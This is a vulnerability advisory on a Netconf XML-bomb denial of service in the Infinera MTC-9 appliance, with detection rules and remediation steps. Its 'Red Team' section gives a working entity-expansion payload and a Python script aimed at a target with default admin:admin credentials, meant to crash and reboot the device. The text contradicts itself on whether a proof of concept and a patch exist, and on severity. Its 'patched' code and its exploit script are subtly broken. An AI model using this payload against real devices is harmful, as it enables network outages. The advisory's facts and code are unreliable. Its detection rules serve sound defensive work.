CVE-2025-26489

Executive Summary

CVE-2025-26489 is a high-severity Denial of Service (DoS) vulnerability affecting the Infinera MTC-9 network appliance. The flaw resides in the Netconf service, where improper input validation allows a remote authenticated attacker to crash the service and force a device reboot by sending crafted XML payloads. This can lead to prolonged network outages and service disruption in carrier-grade environments. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the lack of a public patch for all affected versions (R22.1.1.0275 through R23.0) makes this a critical concern for operators.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must have valid credentials to the Netconf service.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – service crash and device reboot.

Threat Level: Medium. While the CVSS score is 6.5, the impact on availability is high, and the attack complexity is low. The requirement for authentication reduces the immediate threat, but in environments where default or weak credentials are used, the risk is elevated.

Deep Dive & Mechanics

The vulnerability is a classic XML input validation failure in the Netconf service (typically running on TCP port 830). Netconf uses XML-based RPCs for network device configuration. The Infinera MTC-9 implementation fails to properly sanitize or validate the structure and content of incoming XML payloads.

Attack Flow:

1. An attacker gains authenticated access to the Netconf service (e.g., via compromised credentials or default accounts).
2. The attacker crafts a malicious XML payload that contains deeply nested elements, recursive entity references, or malformed tags that trigger a buffer overflow or infinite loop in the XML parser.
3. The Netconf service processes the payload, causing a segmentation fault or resource exhaustion.
4. The service crashes, and the watchdog timer or kernel panic forces a full appliance reboot.
5. The device becomes unavailable for legitimate traffic until the reboot completes (typically several minutes).

Root Cause: The XML parser used by the Netconf service does not enforce limits on entity expansion (XML bomb) or depth of nesting, nor does it validate the schema of incoming RPCs. This allows an attacker to send a small payload that expands exponentially in memory, or a deeply nested structure that exhausts the stack.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Simplified vulnerable Netconf handler
def handle_rpc(xml_payload):
    # No input validation
    root = ET.fromstring(xml_payload)  # Vulnerable to entity expansion
    # Process RPC...

Patched Code (Conceptual):

# Patched Netconf handler with input validation
def handle_rpc(xml_payload):
    # Limit entity expansion and depth
    parser = ET.XMLParser(load_dtd=False, entity_compression=False)
    parser.max_entity_expansions = 0
    parser.max_depth = 10
    root = ET.fromstring(xml_payload, parser=parser)
    # Validate against schema
    if not validate_schema(root):
        raise InvalidRequest("Malformed XML")
    # Process RPC...

The patch (R23.0) introduces strict limits on XML parsing and schema validation to prevent resource exhaustion and malformed payloads.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an Infinera MTC-9 appliance (R22.1.1.0275 to pre-R23.0).
• Valid Netconf credentials (e.g., admin:admin or compromised account).
• Network connectivity to TCP port 830.

Exploit Payload (XML Bomb):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<rpc message-id="1">
  <get-config>
    <source>
      <running/>
    </source>
    <filter type="subtree">
      <system xmlns="http://example.com/ns">
        <hostname>&lol4;</hostname>
      </system>
    </filter>
  </get-config>
</rpc>

Exploit Script (Python):

import socket
import ssl

def send_xml_bomb(host, port, username, password, payload):
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    sock = socket.create_connection((host, port))
    ssock = context.wrap_socket(sock, server_hostname=host)
    # Netconf hello and authentication (simplified)
    hello = b'<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><capabilities><capability>urn:ietf:params:netconf:base:1.0</capability></capabilities></hello>]]>]]>'
    ssock.send(hello)
    # Send malicious RPC
    ssock.send(payload.encode() + b']]>]]>')
    response = ssock.recv(4096)
    print(response)
    ssock.close()

if __name__ == "__main__":
    target = "192.168.1.100"
    port = 830
    user = "admin"
    passwd = "admin"
    bomb = """<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<rpc message-id="1">
  <get-config>
    <source>
      <running/>
    </source>
    <filter type="subtree">
      <system xmlns="http://example.com/ns">
        <hostname>&lol4;</hostname>
      </system>
    </filter>
  </get-config>
</rpc>"""
    send_xml_bomb(target, port, user, passwd, bomb)

Expected Outcome: The Netconf service crashes, and the appliance reboots within 1-2 minutes.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor Netconf traffic for unusually large or deeply nested XML payloads.
• Alert on repeated Netconf authentication failures followed by service crashes.
• Use network-based IDS/IPS to inspect XML payloads for entity expansion patterns.

Honeypot Configuration:

• Deploy a decoy MTC-9 with Netconf exposed to capture attacker payloads.
• Log all XML RPCs for forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Netconf session (TCP 830) with XML payloads containing <!ENTITY declarations.
  • Rapid succession of Netconf RPCs with large response sizes (indicating entity expansion).
  • Device syslog messages: NETCONF service crashed, Watchdog reset, System reboot due to panic.

• Host IOCs:

  • Core dump files in /var/core/ related to netconfd process.
  • High memory usage by netconfd prior to crash.
  • Log entries: XML parsing error: entity expansion limit exceeded.

• File IOCs:

  • Malicious XML payloads saved in /tmp/ or /var/log/ (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2025_26489_XML_Bomb {
    meta:
        description = "Detects XML bomb payloads targeting Infinera MTC-9 Netconf service"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26489"
    strings:
        $entity_decl = /<!ENTITY\s+\w+\s+"[^"]*"/ nocase
        $entity_ref = /&\w+;/ nocase
        $netconf_rpc = /<rpc\s+message-id=/ nocase
    condition:
        #entity_decl > 3 and #entity_ref > 10 and $netconf_rpc
}

Sigma Rule

title: CVE-2025-26489 - Netconf XML Bomb DoS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XML entity expansion attacks against Infinera MTC-9 Netconf service
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: netconf
detection:
    selection:
        payload|contains: 
            - '<!ENTITY'
            - '&lol;'
            - '&lol2;'
            - '&lol3;'
            - '&lol4;'
    condition: selection
falsepositives:
    - Legitimate use of XML entities in rare configurations
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 830 (msg:"CVE-2025-26489 - Netconf XML Bomb DoS Attempt"; flow:to_server,established; content:"|3c 21 45 4e 54 49 54 59|"; nocase; content:"|26 6c 6f 6c 3b|"; distance:0; within:1000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Infinera MTC-9 R23.0 or later as soon as it becomes available.
2. Restrict Netconf access to trusted management IPs only using firewall rules or ACLs.
3. Change default credentials and enforce strong password policies for Netconf users.
4. Monitor logs for signs of exploitation (see IOCs).

Long-Term Measures:

• Implement network segmentation to isolate management interfaces.
• Deploy an XML firewall or WAF that can inspect and block malicious XML payloads.
• Enable logging and alerting for Netconf service crashes.
• Conduct regular vulnerability scans and patch management.

Workaround (if patching is delayed):

• Disable the Netconf service if not required, or use SSH-based CLI instead.
• Apply rate limiting on Netconf connections to slow down brute-force attempts.

Valters IT